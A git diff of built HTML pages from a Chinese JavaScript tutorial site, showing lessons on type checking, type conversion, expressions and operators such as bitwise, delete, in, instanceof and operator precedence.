ECMAScript5 将 Array.isArray() 正式引入 JavaScript,该方法能准确检测一个变量是否为数组类型。

Array.isArray(variable);
+
Obejct.prototype.toString.call({})
// "[object Object]"

💡 使用 Object.prototype.toString 方法能精准地判断出值的数据类型。

⚠️ 注意事项

constructor

任何对象都有 constructor 属性,继承自原型对象,constructor 会指向构造这个对象的构造器或构造函数。

Student.prototype.constructor === Student;
// true

数组检测

ECMAScript5 将 Array.isArray() 正式引入 JavaScript,该方法能准确检测一个变量是否为数组类型。

Array.isArray(variable);
- + diff --git a/basic-concept/data-types/type-conversion/index.html b/basic-concept/data-types/type-conversion/index.html index 917f57e7b..ad5c01eb1 100644 --- a/basic-concept/data-types/type-conversion/index.html +++ b/basic-concept/data-types/type-conversion/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -90,12 +93,12 @@
const eq = a == 1 && a == 2 && a == 3;
console.log(eq);
// true
// 或者改写他的 toString 方法
const num = 0;
Function.prototype.toString = function () {
return ++num;
};
function a() {}
// 还可以改写 ES6 的 Symbol 类型的 toPrimitive 的方法
const a = {
[Symbol.toPrimitive]: (function (i) {
return function () {
return ++i;
};
})(0),
};

每一次进行等号的比较,就会调用一次 valueOf() 方法,自增 1,所以能成立。 另外,减法也是同理:

const a = {
num: 4,
valueOf: function () {
return (this.num -= 1);
},
};
-
const res = a == 3 && a == 2 && a == 1;
console.log(res);

参考文章:

+
const res = a == 3 && a == 2 && a == 1;
console.log(res);

参考文章:

- + diff --git a/basic-concept/expressions/expressions/array-initializer/index.html b/basic-concept/expressions/expressions/array-initializer/index.html index b54d369ee..eaa8475b1 100644 --- a/basic-concept/expressions/expressions/array-initializer/index.html +++ b/basic-concept/expressions/expressions/array-initializer/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
arr[10] = 10
console.log(arr);
// [0, 1, empty x 8, 10]
console.log(arr.length);
// 11
-
ary.filter(x => x === undefined);
// []
+
ary.filter(x => x === undefined);
// []
- + diff --git a/basic-concept/expressions/expressions/index.html b/basic-concept/expressions/expressions/index.html index 7e81788bb..2585684bf 100644 --- a/basic-concept/expressions/expressions/index.html +++ b/basic-concept/expressions/expressions/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/basic-concept/expressions/expressions/literal/index.html b/basic-concept/expressions/expressions/literal/index.html index e28fd8eb2..e931d180a 100644 --- a/basic-concept/expressions/expressions/literal/index.html +++ b/basic-concept/expressions/expressions/literal/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,12 +37,12 @@
// Number 数值字面量
const num = 1;
const nan = NaN;
// String 字符串字面量
const hello = 'hello';
const world = 'world';
// Regexp 正则字面量
const reg = /pattern/;
-
// Template Literal 模版字面量
const temp = `hello, ${world}`
+
// Template Literal 模版字面量
const temp = `hello, ${world}`
- + diff --git a/basic-concept/expressions/expressions/object-initializer/index.html b/basic-concept/expressions/expressions/object-initializer/index.html index 9b2fa2504..681450a3b 100644 --- a/basic-concept/expressions/expressions/object-initializer/index.html +++ b/basic-concept/expressions/expressions/object-initializer/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

    对象初始化表达式

    对象和数组初始化表达式实际上是一个新创建的对象和数组。这些初始化表达式有时称作 对象直接量数组直接量。然而和布尔值直接量不同,它们实际上不是原始表达式,因为它们所包含的成员或者元素都是子表达式。

    对象初始化表达式和数组初始化表达式非常相似,只是方括号被花括号代替,并且每个子表达式都包含一个属性名和一个冒号作为前缀。

    // 一个拥有两个属性成员的对象
    var p = {
    x: 2.3,
    y: -1.2,
    };
    // 一个空对象
    var q = {};
    -
    // q 的属性成员和 p 的一样
    q.x = 2.3;
    q.y = -1.2;

    对象直接量也可以嵌套。

    var rectangle = {
    upperLeft: { x: 2, y: 2 },
    lowRight: { x: 4, y: 5 },
    };

    JavaScript 求对象初始化表达式的值的时候,对象表达式也都会各自计算一次,并且它们不必包含常数值:它们可以是任意 JavaScript 表达式。

    同样,对喜爱那个直接量中的属性名称可以是字符串而不是标识符(这在那些只能使用保留字或一些非法标识符作为属性名的地方非常有用)

    var side = 1;
    var square = {
    upperLeft: {
    x: p.x,
    y: p.y,
    },
    lowerRight: {
    x: p.x + side,
    y: p.y + side,
    },
    };
    +
    // q 的属性成员和 p 的一样
    q.x = 2.3;
    q.y = -1.2;

    对象直接量也可以嵌套。

    var rectangle = {
    upperLeft: { x: 2, y: 2 },
    lowRight: { x: 4, y: 5 },
    };

    JavaScript 求对象初始化表达式的值的时候,对象表达式也都会各自计算一次,并且它们不必包含常数值:它们可以是任意 JavaScript 表达式。

    同样,对喜爱那个直接量中的属性名称可以是字符串而不是标识符(这在那些只能使用保留字或一些非法标识符作为属性名的地方非常有用)

    var side = 1;
    var square = {
    upperLeft: {
    x: p.x,
    y: p.y,
    },
    lowerRight: {
    x: p.x + side,
    y: p.y + side,
    },
    };
    - + diff --git a/basic-concept/expressions/expressions/property-accessors/index.html b/basic-concept/expressions/expressions/property-accessors/index.html index 0e24ef079..406453cf9 100644 --- a/basic-concept/expressions/expressions/property-accessors/index.html +++ b/basic-concept/expressions/expressions/property-accessors/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
    console.log(a["x"]);
    // 1
    console.log(b[1]);
    // 4
    console.log(b[2]["1"]);
    // 6
    -
    console.log(b[0].x);
    // 1
    +
    console.log(b[0].x);
    // 1
    - + diff --git a/basic-concept/expressions/operators/arithmetic-operators/index.html b/basic-concept/expressions/operators/arithmetic-operators/index.html index b770ffc5f..ae44f3f91 100644 --- a/basic-concept/expressions/operators/arithmetic-operators/index.html +++ b/basic-concept/expressions/operators/arithmetic-operators/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

    算术运算符

    算术运算符使用数值(字面量或者变量)作为操作数进行运算并返回一个数值。

    标准的算术运算符就是加减乘除 +-*/

    当操作数是浮点数时,这些运算符表现得跟它们在大多数编程语言中一样(特殊要注意的是,除零会产生 Infinity )。

    运算符描述示例
    +加法1 + 1 = 2
    -减法2 - 1 = 1
    *乘法3 * 3 = 9
    /除法10 / 5 = 2
    %求余,返回相除后余值12 % 5 = 2
    ++自增(更新运算符),分为前自增和后自增具体参考 更新运算符
    --自减(更新运算符),分为前自减和后自减具体参考 更新运算符
    -一元负值符,返回操作数的负值-foo
    +一元正值符,若操作数在操作前非数字类型,将试图将其转换成数字类型+foo
    **指数运算符,计算 base(底数) 的 exponent(指数)次方2 ** 3 = 8

    实践示例

    console.log(-9 % 2);
    // -1
    -
    console.log(1 + -+(+(+-+1)));
    // 2

    实现指数运算符

    function calculateExponent(base, exponent) {
    if (exponent === 1) {
    return base;
    } else {
    return base * calculateExponent(base, exponent - 1);
    }
    }
    +
    console.log(1 + -+(+(+-+1)));
    // 2

    实现指数运算符

    function calculateExponent(base, exponent) {
    if (exponent === 1) {
    return base;
    } else {
    return base * calculateExponent(base, exponent - 1);
    }
    }
    - + diff --git a/basic-concept/expressions/operators/assignment-operators/index.html b/basic-concept/expressions/operators/assignment-operators/index.html index 2fc80fdfd..481f465f4 100644 --- a/basic-concept/expressions/operators/assignment-operators/index.html +++ b/basic-concept/expressions/operators/assignment-operators/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 赋值运算符 - JavaScript Guidebook -

      赋值运算符

      一个 赋值运算符(assignment operator)将它右边操作数的值赋给它左边的操作数。

      下列为 ECMAScript 标准规范的 Assignment Operator:

      * = /= %= += -= <<= >>= >>>= &= ^= |= **=

      运算名称简写的操作符分解含义符号
      赋值x = yx = y=
      加法赋值x += yx = x + y+=
      减法赋值x -= yx = x - y-=
      乘法赋值x *= yx = x * y*=
      除法赋值x /= yx = x / y/=
      求余赋值x %= yx = x % y%=
      求幂赋值x ** yx = x ** y**
      左移位赋值x <<= yx = x << y<<=
      右移位赋值x >>= yx = x >> y>>=
      无符号右移位赋值x >>>= yx = x >>> y>>>=
      按位与赋值x & yx = x & y&
      按位异赋值x ^= yx = x ^ y^=
      按位或赋值x |= yx = x | y| y
      +

        赋值运算符

        一个 赋值运算符(assignment operator)将它右边操作数的值赋给它左边的操作数。

        下列为 ECMAScript 标准规范的 Assignment Operator:

        * = /= %= += -= <<= >>= >>>= &= ^= |= **=

        运算名称简写的操作符分解含义符号
        赋值x = yx = y=
        加法赋值x += yx = x + y+=
        减法赋值x -= yx = x - y-=
        乘法赋值x *= yx = x * y*=
        除法赋值x /= yx = x / y/=
        求余赋值x %= yx = x % y%=
        求幂赋值x ** yx = x ** y**
        左移位赋值x <<= yx = x << y<<=
        右移位赋值x >>= yx = x >> y>>=
        无符号右移位赋值x >>>= yx = x >>> y>>>=
        按位与赋值x & yx = x & y&
        按位异赋值x ^= yx = x ^ y^=
        按位或赋值x |= yx = x | y| y
        - + diff --git a/basic-concept/expressions/operators/bitwise-operators/index.html b/basic-concept/expressions/operators/bitwise-operators/index.html index 512de27a1..9e96748b9 100644 --- a/basic-concept/expressions/operators/bitwise-operators/index.html +++ b/basic-concept/expressions/operators/bitwise-operators/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -39,12 +42,12 @@
        console.log(a); // 8
        console.log(b); // 5

        异或还经常被用于加密。

        十进制转二进制

        var number = 3;
        var result = number.toString(2);
        var result2 = (14).toString(2);
        // "1110"

        颜色值转换

        使用 &>>| 来完成 RGB 值和 16 进制颜色值之间的转换

        /**
        * 16进制颜色值转RGB
        * @param {String} hex 16进制颜色字符串
        * @return {String} RGB颜色字符串
        */
        function hexToRGB(hex) {
        var hexx = hex.replace('#', '0x');
        var r = hexx >> 16;
        var g = (hexx >> 8) & 0xff;
        var b = hexx & 0xff;
        return `rgb(${r}, ${g}, ${b})`;
        }
        /**
        * RGB颜色转16进制颜色
        * @param {String} rgb RGB进制颜色字符串
        * @return {String} 16进制颜色字符串
        */
        function RGBToHex(rgb) {
        var rgbArr = rgb.split(/[^\d]+/);
        var color = (rgbArr[1] << 16) | (rgbArr[2] << 8) | rgbArr[3];
        return '#' + color.toString(16);
        }
        -
        // -------------------------------------------------
        hexToRGB('#ffffff'); // 'rgb(255,255,255)'
        RGBToHex('rgb(255,255,255)'); // '#ffffff'

        判断正负

        function isPos(n) {
        return n === n >>> 0 ? true : false;
        }
        isPos(-1); // false
        isPos(1); // true

        判断符号是否相同

        通常, 比较两个数是否符号相同, 我们使用 x * y > 0 来判断即可. 但如果利用按位异或 ^, 运算速度将更快。

        console.log(-17 ^ (9 > 0));
        // false

        判断奇偶

        使用 & 运算符判断一个数的奇偶

        如果把 n 以二进制的形式展示的话,其实我们只需要判断最后一个二进制位是 1 还是 0 就行了。

        // 偶数 & 1 = 0
        // 奇数 & 1 = 1
        console.log(2 & 1); // 0
        console.log(3 & 1); // 1

        判断索引是否存在

        这是一个很常用的技巧,如判断一个数是否在数组里面:

        // 如果url含有 ? 号,则后面拼上&符号,否则加上?号
        url += ~url.indexOf('?') ? '&' : '?';

        因为:~-1 === 0

        -1 在内存的表示的二进制符号全为 1,按位非之后就变成了 0. 进一步说明——1 在内存的表示为:0000...0001,第一位 0 表示符号位为正,如果是 -1 的话符号位为负用 1 表示 1000...0001,这个是 -1 的原码,然后符号位不动,其余位取反变成 1111...1110,这个就是 -1 的反码表示,反码再加 1 就变成了 1111...1111,这个就是 -1 的补码,负数在内存里面(机器数)使用补码表示,正数是用原码。所以全部都是 1 的机器数按位非之后就变成了全为 0。剩下的其它所有数按位非都不为 0,所以利用这个特性可以用来做 indexOf 的判断,这样代码看起来更简洁一点。

        标志位判断

        现在有个后台管理系统,操作权限分为一级、二级、三级管理员,其中一级管理员拥有最高的权限,二、三级较低,有些操作只允许一、二级管理员操作,有些操作只允许一、三级管理员操作。现在已经登陆的某权限的用户要进行某个操作,要用怎样的数据结构能很方便地判断他能不能进行这个操作呢?

        我们用位来表示管理权限,一级用第 3 位,二级用第 2 位,三级用第 1 位,即一级的权限表示为 0b100 = 4,二级权限表示为 0b010 = 2,三级权限表示为 0b001 = 1。如果 A 操作只能由一级和二级操作,那么这个权限值表示为 6 = 0b110,它和一级权限与一下:6 & 4 = 0b110 & 0b100 = 4,得到的值不为 0,所以认为有权限,同理和二级权限与一下 6 & 2 = 2 也不为 0,而与三级权限与一下 6 & 1 = 0,所以三级没有权限。这里标志位的 1 表示打开,0 表示关闭。

        这样的好处在于,我们可以用一个数字,而不是一个数组来表示某个操作的权限集,同时在进行权限判断的时候也很方便。


        参考资料:

        +
        // -------------------------------------------------
        hexToRGB('#ffffff'); // 'rgb(255,255,255)'
        RGBToHex('rgb(255,255,255)'); // '#ffffff'

        判断正负

        function isPos(n) {
        return n === n >>> 0 ? true : false;
        }
        isPos(-1); // false
        isPos(1); // true

        判断符号是否相同

        通常, 比较两个数是否符号相同, 我们使用 x * y > 0 来判断即可. 但如果利用按位异或 ^, 运算速度将更快。

        console.log(-17 ^ (9 > 0));
        // false

        判断奇偶

        使用 & 运算符判断一个数的奇偶

        如果把 n 以二进制的形式展示的话,其实我们只需要判断最后一个二进制位是 1 还是 0 就行了。

        // 偶数 & 1 = 0
        // 奇数 & 1 = 1
        console.log(2 & 1); // 0
        console.log(3 & 1); // 1

        判断索引是否存在

        这是一个很常用的技巧,如判断一个数是否在数组里面:

        // 如果url含有 ? 号,则后面拼上&符号,否则加上?号
        url += ~url.indexOf('?') ? '&' : '?';

        因为:~-1 === 0

        -1 在内存的表示的二进制符号全为 1,按位非之后就变成了 0. 进一步说明——1 在内存的表示为:0000...0001,第一位 0 表示符号位为正,如果是 -1 的话符号位为负用 1 表示 1000...0001,这个是 -1 的原码,然后符号位不动,其余位取反变成 1111...1110,这个就是 -1 的反码表示,反码再加 1 就变成了 1111...1111,这个就是 -1 的补码,负数在内存里面(机器数)使用补码表示,正数是用原码。所以全部都是 1 的机器数按位非之后就变成了全为 0。剩下的其它所有数按位非都不为 0,所以利用这个特性可以用来做 indexOf 的判断,这样代码看起来更简洁一点。

        标志位判断

        现在有个后台管理系统,操作权限分为一级、二级、三级管理员,其中一级管理员拥有最高的权限,二、三级较低,有些操作只允许一、二级管理员操作,有些操作只允许一、三级管理员操作。现在已经登陆的某权限的用户要进行某个操作,要用怎样的数据结构能很方便地判断他能不能进行这个操作呢?

        我们用位来表示管理权限,一级用第 3 位,二级用第 2 位,三级用第 1 位,即一级的权限表示为 0b100 = 4,二级权限表示为 0b010 = 2,三级权限表示为 0b001 = 1。如果 A 操作只能由一级和二级操作,那么这个权限值表示为 6 = 0b110,它和一级权限与一下:6 & 4 = 0b110 & 0b100 = 4,得到的值不为 0,所以认为有权限,同理和二级权限与一下 6 & 2 = 2 也不为 0,而与三级权限与一下 6 & 1 = 0,所以三级没有权限。这里标志位的 1 表示打开,0 表示关闭。

        这样的好处在于,我们可以用一个数字,而不是一个数组来表示某个操作的权限集,同时在进行权限判断的时候也很方便。


        参考资料:

        - + diff --git a/basic-concept/expressions/operators/comma-operator/index.html b/basic-concept/expressions/operators/comma-operator/index.html index bbc73ffb5..894f208dd 100644 --- a/basic-concept/expressions/operators/comma-operator/index.html +++ b/basic-concept/expressions/operators/comma-operator/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

        逗号运算符

        逗号运算符二元运算符,它的操作数可以是任意类型。

        它首先计算左操作数,然后计算右操作数,最后返回右操作数的值,用逗号运算符可以在一条语句中执行多个运算。

        (x = 0), (y = 1), (z = 2);
        // 计算结果是 2,它和下面的代码基本等价
        x = 0;
        y = 1;
        z = 2;

        用法

        用于声明多个变量

        var a = 1,
        b = 2,
        c = 3;
        let x, y, z;

        逗号运算符最常用的场景是在 for 循环中,这个 for 循环通常具有多个循环变量:

        // for 循环中的第一个逗号是 var 语句的一部分
        // 第二个逗号是逗号运算符
        // 它将两个表达式(i++和j--)放在一条语句中
        for (var i = 0, j = 10; i < j; i++, j--) {
        console.log(i + j);
        }

        用于赋值

        逗号运算符还可以用于赋值,在用于赋值时,逗号运算符总是返回表达式中的最后一项。

        var foo = (1, 2, 3, 4, 5);
        // 去掉括号会报错
        -
        console.log(foo);
        // 5
        +
        console.log(foo);
        // 5
        - + diff --git a/basic-concept/expressions/operators/comparation-operators/index.html b/basic-concept/expressions/operators/comparation-operators/index.html index bb58b03eb..368241265 100644 --- a/basic-concept/expressions/operators/comparation-operators/index.html +++ b/basic-concept/expressions/operators/comparation-operators/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
        console.log([] === []);
        // false
        console.log({} === {});
        // false

        当我们访问引用数据类型(对象、数组、函数等等)的值时,首先从栈中获得该对象的 地址指针,然后再从 堆内存 中取得所需的数据。

        变量 a 实际保存的是指向堆内存中对象的一个指针,而变量 b 保存的是指向堆内存中的另一个对象的指针,虽然这两个对象的值时一样的,但它们是独立的两个对象,占了两份内存空间,所以它们互不相等。

        而当将一个为引用数据类型的值的变量赋值给另一个变量时,即拷贝了前者的内存空间的地址指针,因此它们都指向堆内存中同一个对象。

        let x = {}
        let y = x
        -
        console.log(x === y
        // true
        +
        console.log(x === y
        // true
        - + diff --git a/basic-concept/expressions/operators/conditional-operator/index.html b/basic-concept/expressions/operators/conditional-operator/index.html index 04b410b76..cb6c9d4b2 100644 --- a/basic-concept/expressions/operators/conditional-operator/index.html +++ b/basic-concept/expressions/operators/conditional-operator/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 条件运算符 - JavaScript Guidebook -

          条件运算符

          条件运算符(Conditional Operator)是 JavaScript 中唯一的一个三元运算符(三个操作数),有时直接称做三元运算符。

          variable = boolean_expression ? true_value : false_value;

          本质上,这就是基于对 boolean_expression 求值的结果,决定给变量 variable 赋什么值。如果求值结果是 true ,则给变量 variable 赋值true_value;如果求值结果是 false,则给变量 variable 赋值false_value

          条件运算符的操作数可以是任意类型,第一个操作数当成布尔值,如果它是真值 true,那么将计算第二个操作数,并返回其计算结果。否则,如果第一个操作数是假值 false,那么将计算第三个操作数,并返回其计算结果。第二个和第三个操作数总是会计算其中之一,不可能两者同时执行。

          其实使用 if 语句也会带来同样的效果,?:运算符只是提供了一种简写形式。下面是一个 ?: 的典型应用场景,判断一个变量是否有定义(并拥有一个有意义的真值),如果有定义则使用它,如果无定义则使用一个默认值:

          greeting = 'hello ' + (username ? username : 'there');

          这和下面使用 if 语句的代码是等价的,但显然上面的代码更加简洁:

          greeting = 'hello ';
          if (username) greeting += username;
          else greeting += 'there';

          条件运算符(三元条件表达式)与 if...else 语句具有同样表达效果,但是两者有一个重大差别。

          类型返回值
          if...else语句
          条件运算符表达式

          因此,在需要返回值的场合,只能使用条件运算符(三元条件表达式),而不能使用 if...else

          console.log(true ? 'T' : 'F');
          // 'T'

          上面代码中,console.log()方法的参数必须是一个表达式,这时就只能使用三元条件表达式。

          +

            条件运算符

            条件运算符(Conditional Operator)是 JavaScript 中唯一的一个三元运算符(三个操作数),有时直接称做三元运算符。

            variable = boolean_expression ? true_value : false_value;

            本质上,这就是基于对 boolean_expression 求值的结果,决定给变量 variable 赋什么值。如果求值结果是 true ,则给变量 variable 赋值true_value;如果求值结果是 false,则给变量 variable 赋值false_value

            条件运算符的操作数可以是任意类型,第一个操作数当成布尔值,如果它是真值 true,那么将计算第二个操作数,并返回其计算结果。否则,如果第一个操作数是假值 false,那么将计算第三个操作数,并返回其计算结果。第二个和第三个操作数总是会计算其中之一,不可能两者同时执行。

            其实使用 if 语句也会带来同样的效果,?:运算符只是提供了一种简写形式。下面是一个 ?: 的典型应用场景,判断一个变量是否有定义(并拥有一个有意义的真值),如果有定义则使用它,如果无定义则使用一个默认值:

            greeting = 'hello ' + (username ? username : 'there');

            这和下面使用 if 语句的代码是等价的,但显然上面的代码更加简洁:

            greeting = 'hello ';
            if (username) greeting += username;
            else greeting += 'there';

            条件运算符(三元条件表达式)与 if...else 语句具有同样表达效果,但是两者有一个重大差别。

            类型返回值
            if...else语句
            条件运算符表达式

            因此,在需要返回值的场合,只能使用条件运算符(三元条件表达式),而不能使用 if...else

            console.log(true ? 'T' : 'F');
            // 'T'

            上面代码中,console.log()方法的参数必须是一个表达式,这时就只能使用三元条件表达式。

            - + diff --git a/basic-concept/expressions/operators/delete/index.html b/basic-concept/expressions/operators/delete/index.html index cf59912f3..c95c9a44d 100644 --- a/basic-concept/expressions/operators/delete/index.html +++ b/basic-concept/expressions/operators/delete/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

            delete

            delete 操作符用于删除对象的某个属性。如果没有指向这个属性的引用了,它最终会被自动地释放。

            语法

            delete expression;

            expression 的计算结果应该是某个属性的引用

            delete object.property;
            delete object['property'];

            参数

            参数说明
            object对象的名称,或计算结果为对象的表达式
            property要删除的属性

            返回值

            对于所有情况都是 true,除非属性是一个自己 不可配置 的属性,在这种情况下,非严格模式返回 false

            ⚠️ 注意:与通常对 delete 的理解不同,delete 操作符与直接释放内存无关。内存管理通过断开引用来间接完成的。

            查看 内存模型 了解更多。

            说明

            delete 操作符会从某个对象上移除指定属性。

            成功删除的时候回返回 true,否则返回 false

            但是,以下情况需要重点考虑:

            • 如果你试图删除的属性不存在,那么 delete 将不会起任何作用,但仍会返回 true
            • 如果对象的原型链上有一个与待删除属性同名的属性,那么删除属性之后,对象会使用原型链上的那个属性(也就是说,delete 操作只会在自身的属性上起作用)
            • 任何使用 var 声明的属性不能从全局作用域或函数的作用域中删除。
              • 这样的话,delete 操作不能删除任何在全局作用域中的函数(无论这个函数是来自于函数声明或函数表达式)
              • 除了在全局作用域中的函数不能被删除,在对象中的函数是能够用 delete 操作删除的。
            • 任何用 letconst 声明的属性不能够从它被声明的作用域中删除。
            • 不可设置的(Non-configurable)属性不能被移除。这意味着像 MathArrayObject 等内置对象的属性以及使用 Object.defineProperty() 方法设置为不可设置的属性不能被删除。

            示例

            var Employee = {
            age: 28,
            name: 'abc',
            designation: 'developer',
            };
            console.log(delete Employee.name);
            // true
            console.log(delete Employee.age);
            // true
            -
            // 当试着删除一个不存在的属性时
            // 同样会返回 true
            console.log(delete Employee.salary);
            // true
            +
            // 当试着删除一个不存在的属性时
            // 同样会返回 true
            console.log(delete Employee.salary);
            // true
            - + diff --git a/basic-concept/expressions/operators/detructing-assignment/index.html b/basic-concept/expressions/operators/detructing-assignment/index.html index dceb6ccc1..cb516bb8e 100644 --- a/basic-concept/expressions/operators/detructing-assignment/index.html +++ b/basic-concept/expressions/operators/detructing-assignment/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -62,12 +65,12 @@
            let { id, status, data: number } = jsonData;
            console.log(id, status, number);
            // 42, "ok", [867, 5309]

            上面的代码可以快速提取 JSON 数据的值。

            函数参数的默认值

            jQuery.ajax = function(
            url,
            {
            async = true,
            beforeSend = function() {},
            cache = true,
            complete = function() {},
            crossDomain = false,
            global = ture,
            // ... more config
            }
            ) {
            // ... do stuff
            };

            指定参数的默认值,这样就避免了在函数体内部再写 var foo = config.foo || 'default foo'; 这样的语句。

            遍历 Map 结构

            任何部署了 Iterator 接口的对象都可以用 for...of 循环遍历。Map 结构原生支持 Iterator 接口,配合变量的解构赋值获取键名和键值就非常方便。

            var map = new Map();
            map.set('first', 'hello');
            map.set('second', 'world!');
            for (let [key, value] of map) {
            console.log(ket + ' is ' + value);
            }
            // first is hello
            // second is world

            如果只想获取键名,或者只想获取键值,可以写成下面这样。

            // 获取键名
            for (let [key] of map) {
            // ...
            }
            -
            // 获取键值
            for (let [, value] of map) {
            // ...
            }

            加入模块的指定方法

            加载模块时,往往需要指定输入的方法。解构赋值使得输入语句非常清晰。

            const { SourceMapConsumer, SourceNode } = require('source-map');
            +
            // 获取键值
            for (let [, value] of map) {
            // ...
            }

            加入模块的指定方法

            加载模块时,往往需要指定输入的方法。解构赋值使得输入语句非常清晰。

            const { SourceMapConsumer, SourceNode } = require('source-map');
            - + diff --git a/basic-concept/expressions/operators/in/index.html b/basic-concept/expressions/operators/in/index.html index 4e19c09ed..e692328f1 100644 --- a/basic-concept/expressions/operators/in/index.html +++ b/basic-concept/expressions/operators/in/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
            Symbol.iterator in cars;
            // true(数组可迭代,只在 ES2015+ 上有效)

            内置对象

            'PI' in Math;
            // true

            自定义对象

            var myCar = { make: 'Honda', model: 'Accord', year: '1998' };
            'make' in myCar;
            'model' in myCar;

            in 右操作数必须是一个对象值

            例如:你可以指定使用 String 构造函数创建的字符串,但不能指定字符串文字。

            var color1 = new String('green');
            'length' in color1;
            // true
            var color2 = new 'coral'();
            'length' in color2;
            // 报错(color2不是对象)

            值为 undefined 的对象属性

            如果你使用 delete 运算符删除了一个属性,则 in 运算符对所删除属性返回 false

            var cars = new Array('Toyota', 'Nissan', 'Mercedes', 'Buick', 'Porsche');
            delete cars[3];
            3 in cars;
            // false

            如果你只是将一个属性的值赋值为 undefined,而没有删除它,则 in 运算仍然会返回 true

            var cars = new Array('Toyota', 'Nissan', 'Mercedes', 'Buick', 'Porsche');
            cars[3] = undefined;
            -
            3 in cars;
            // true

            继承属性

            如果一个属性是 从原型链上继承来的,in 运算符也会返回 true

            'toString' in {};
            // true
            +
            3 in cars;
            // true

            继承属性

            如果一个属性是 从原型链上继承来的,in 运算符也会返回 true

            'toString' in {};
            // true
            - + diff --git a/basic-concept/expressions/operators/index.html b/basic-concept/expressions/operators/index.html index 96a4ead40..7eeaa75ca 100644 --- a/basic-concept/expressions/operators/index.html +++ b/basic-concept/expressions/operators/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/basic-concept/expressions/operators/instanceof/index.html b/basic-concept/expressions/operators/instanceof/index.html index 56232b96e..879440d20 100644 --- a/basic-concept/expressions/operators/instanceof/index.html +++ b/basic-concept/expressions/operators/instanceof/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -39,12 +42,12 @@
            // 函数类型
            const fn = () => console.log('Hello world!');
            console.log(fn instanceof Function);
            // true

            模拟实现

            function simulateInstanceof(left, right) {
            if (left === null || (typeof left !== 'object' && typeof left !== 'function')) return false;
            // 递归原型链
            while (true) {
            // Object.prototype.__proto__ === null
            if (left === null) return false;
            // 这里重点:当 left 严格等于 prototype 时,返回 true
            if (left === right.prototype) return true;
            -
            left = left.__proto__;
            }
            }

            参考资料

            +
            left = left.__proto__;
            }
            }

            参考资料

            - + diff --git a/basic-concept/expressions/operators/logical-operators/index.html b/basic-concept/expressions/operators/logical-operators/index.html index 3cc9ac134..b42e3e6de 100644 --- a/basic-concept/expressions/operators/logical-operators/index.html +++ b/basic-concept/expressions/operators/logical-operators/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -59,12 +62,12 @@
            console.log(!!new Boolean(false));
            // true
            console.log(!!false);
            // false
            console.log(!!new Boolean(null));
            // true
            -
            console.log(!!null);
            // false
            +
            console.log(!!null);
            // false
            - + diff --git a/basic-concept/expressions/operators/operators-precedence/index.html b/basic-concept/expressions/operators/operators-precedence/index.html index 06af6ebf6..83b4ffd55 100644 --- a/basic-concept/expressions/operators/operators-precedence/index.html +++ b/basic-concept/expressions/operators/operators-precedence/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 运算符优先级 - JavaScript Guidebook -

            运算符优先级

            运算符的优先级决定了表达式中运算执行的先后顺序,优先级高的运算符最先被执行。

            结合性

            结合性决定了拥有相同优先级的运算符的执行顺序。考虑下面这个表达式:

            a OP b OP c
            • 左结合(左到右)相当于把左边的子表达式加上小括号 (a OP b) OP c

            • 右关联(右到左)相当于 a OP (b OP c)

            赋值运算符是右关联的,所以你可以这么写:

            a = b = 5;

            结果:a  和  b  的值都会成为 5。这是因为赋值运算符的返回结果就是赋值运算符右边的那个值,具体过程是:b 被赋值为 5,然后 a 也被赋值为  b=5  的返回值,也就是 5。

            汇总表

            以下示例中使用 foobar 作为演示变量或表达式。

            优先级运算类型关联性运算符示例
            20分组表达式N/A(foo)
            19属性访问器从左到右foo.bar
            属性访问器从左到右foo[bar]
            实例化对象(带参数列表)N/Anew Foo(bar)
            函数调用从左到右foo()
            18实例化对象(无参数列表)从左到右new Foo
            17更新表达式(后置递增)N/Afoo++
            更新表达式(后置递减)N/Afoo--
            16逻辑运算符(逻辑非)从右到左!foo
            按位非~foo
